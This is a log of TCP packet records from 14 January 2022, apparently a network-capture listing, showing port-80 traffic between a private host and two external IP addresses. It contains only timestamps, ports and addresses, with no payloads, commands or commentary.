Jan 14, 2022 01:50:55.488429070 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488452911 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488492966 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488532066 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488544941 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488573074 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488590002 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488614082 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488651037 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488689899 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488704920 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488732100 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488756895 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488770962 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488811016 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488848925 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488863945 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488888025 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488895893 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488929033 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.489109993 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.539582968 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539633036 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539664984 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539699078 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539731026 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539737940 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.539763927 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539772987 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.539789915 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539814949 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539848089 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539881945 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539916039 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539946079 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.539947987 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.539980888 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540013075 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540014982 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540020943 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540049076 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540074110 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540081978 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540118933 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540138960 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540150881 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540184975 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540216923 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540236950 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540249109 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540276051 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540297985 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540323019 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540355921 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540380001 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540389061 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540402889 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540420055 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540455103 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540487051 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540520906 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540548086 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540580988 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540584087 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540615082 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540620089 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540635109 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540648937 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540680885 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540683031 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540715933 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540745974 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540764093 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540780067 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540792942 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540812016 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540843964 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540875912 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540894032 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540908098 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540919065 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.540941000 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540973902 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.540996075 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.541003942 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.541035891 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.541069984 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.541078091 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.541109085 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.541141987 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.541174889 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.541224003 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592062950 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592125893 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592171907 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592199087 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592211008 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592253923 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592293978 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592322111 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592334032 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592354059 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592376947 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592415094 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592453957 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592468023 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592494011 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592505932 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592530966 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592569113 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592607021 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592631102 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592644930 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592652082 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592684984 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592722893 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592753887 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592792034 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592818022 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592829943 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592870951 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592906952 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592925072 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592951059 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.592958927 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.592999935 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593034983 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593046904 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593080044 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593137980 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593157053 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593180895 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593235016 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593245983 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593276978 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593312979 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593350887 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593360901 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593388081 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593394041 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593426943 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593466043 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593477011 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593502045 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593532085 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593561888 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593600988 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593640089 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593676090 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593688011 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593713999 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593739033 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593750000 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593760967 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593787909 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593827009 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593867064 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593911886 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593955994 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.593967915 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.593997002 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.594058037 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.644671917 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644737005 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644776106 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644817114 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644818068 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.644855022 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644865036 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.644893885 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644933939 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.644944906 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.644972086 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645009041 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645009995 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645049095 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645085096 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645127058 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645140886 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645165920 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645180941 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645206928 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645246983 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645251989 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645283937 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645323038 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645361900 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645391941 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645399094 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645421982 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645437956 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645476103 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645498037 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645514965 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645554066 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645589113 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645601988 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645627975 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645637989 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645665884 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645703077 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645716906 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645744085 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645785093 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645807028 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645824909 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645899057 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645910978 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.645940065 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.645976067 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646001101 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646013975 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646051884 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646061897 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646090031 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646132946 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646169901 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646181107 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646209002 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646230936 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646248102 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646285057 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646322966 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646332979 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646358967 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646370888 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646397114 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646435976 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646471977 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646481991 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646511078 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.646514893 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.646548986 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.647190094 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.697467089 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697525978 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697565079 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697606087 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697619915 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.697644949 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697652102 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.697685003 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697724104 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697735071 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.697762012 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697799921 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697837114 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697854042 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.697885036 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.697907925 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697946072 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.697983980 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698004961 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698021889 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698060989 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698081970 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698100090 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698138952 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698177099 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698190928 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698214054 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698225021 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698251009 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698288918 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698326111 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698335886 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698364973 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698370934 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698404074 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698443890 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.698503971 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.698759079 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.749211073 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.313888073 CET	49738	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.364125967 CET	80	49738	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.364299059 CET	49738	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.364414930 CET	49738	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.364442110 CET	49738	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.414808035 CET	80	49738	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.466557026 CET	80	49738	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.468930960 CET	49738	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.469043970 CET	49738	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.508157969 CET	49739	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.519361973 CET	80	49738	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.559995890 CET	80	49739	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.560096025 CET	49739	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.560204029 CET	49739	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.561750889 CET	49739	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.611804008 CET	80	49739	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.613360882 CET	80	49739	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.651103020 CET	80	49739	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.651180983 CET	49739	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.651362896 CET	49739	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.679121971 CET	49741	80	192.168.2.3	54.38.220.85
Jan 14, 2022 01:50:57.698498011 CET	80	49741	54.38.220.85	192.168.2.3
Jan 14, 2022 01:50:57.698678970 CET	49741	80	192.168.2.3	54.38.220.85
Jan 14, 2022 01:50:57.698731899 CET	49741	80	192.168.2.3	54.38.220.85
Jan 14, 2022 01:50:57.702656031 CET	80	49739	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.718022108 CET	80	49741	54.38.220.85	192.168.2.3
Jan 14, 2022 01:50:57.718066931 CET	80	49741	54.38.220.85	192.168.2.3
Jan 14, 2022 01:50:57.758156061 CET	49742	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.789033890 CET	49741	80	192.168.2.3	54.38.220.85
Jan 14, 2022 01:50:57.810229063 CET	80	49742	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.813404083 CET	49742	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.853676081 CET	49742	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.854126930 CET	49742	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:57.908868074 CET	80	49742	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.937594891 CET	80	49742	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:57.941514969 CET	49742	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.011624098 CET	49742	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.065543890 CET	80	49742	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.089687109 CET	49743	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.140214920 CET	80	49743	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.140314102 CET	49743	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.140440941 CET	49743	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.140450954 CET	49743	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.190941095 CET	80	49743	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.219047070 CET	80	49743	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.219141006 CET	49743	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.219172001 CET	49743	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.251851082 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.269443989 CET	80	49743	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.302103043 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.302252054 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.302352905 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.302395105 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.352638960 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.403923988 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.404076099 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.417176962 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.446657896 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.467463970 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.496893883 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.499181986 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.499483109 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.499526024 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.549793005 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.579649925 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:58.579788923 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:58.579986095 CET	49746	80	192.168.2.3	93.189.42.167
